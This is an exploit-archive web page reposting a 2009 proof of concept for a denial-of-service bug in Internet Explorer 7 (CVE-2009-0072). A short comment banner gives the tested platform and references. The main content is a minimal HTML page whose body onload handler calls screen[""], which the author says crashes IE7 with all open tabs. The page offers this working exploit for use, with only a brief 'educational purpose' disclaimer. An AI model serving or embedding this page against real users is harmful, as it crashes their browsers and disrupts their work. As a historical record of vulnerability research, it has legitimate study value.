首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MS Internet Explorer JavaScript screen[ ] Denial of Service Exploit
来源:http://darshanams.blogspot.com 作者:Darshanam 发布时间:2009-01-12  
########################################################################################
#svchost.exe CPU usage boils up to almost 100 percent when we open the malicious
#webpage and IE7 (Version 7.0.5730.13) closes with all tabs.
#
#Tested On:
#    Microsoft(R) Windows(R) Server 2003, Standard Edition with Service Pack 2
#
#With:
#    IE Version 7.0.5730.13
#
#    I didn't use Javascript anywhere in the HTML below. It might be the background
#     processing of "onload" NULL pointer by IE which leads to the cra$$$hhhhh!!!
#
#Reference:
#    http://xforce.iss.net/xforce/xfdb/47788
#    http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0072
#
#########################################################################################
#########Thanx 2 str0ke, milw0rm, SkyLined and all Security folks !!!####################
#########################################################################################



<html>

<title>MS IE 'screen[""]' Remote Denial of Service Vulnerability</title>

<body onload=screen[""]>

</html>


########################################################################################
# This is strictly written for educational purpose. Use it at
# your own risk. Author will not bare any responsibility for any damages watsoever.
#
#      Author: Praveen Darshanam
#      Email: praveen[underscore]recker[at]sify.com
#      Blog: http://darshanams.blogspot.com
#              <http://darshanams.blogspot.com/>
#      Date: 09th Jan., 2009
#
########################################################################################

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·VUPlayer 2.49 .ASX File (HREF)
·VUPlayer 2.49 .ASX File (HREF)
·MP3 TrackMaker 1.5 (.mp3 File)
·以色列人发现的IE 0day
·World Association of Newspaper
·IE Denial of Service Exploit (
·VUPlayer 2.49 .ASX File (HREF)
·VMware COM DB ActiveX Remote B
·Microsoft HTML Workshop <= 4.7
·Virgilio Toolbar Toolbar Activ
·Joomla com_xevidmegahd (catid)
·IntelliTamper (2.07/2.08) Lang
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved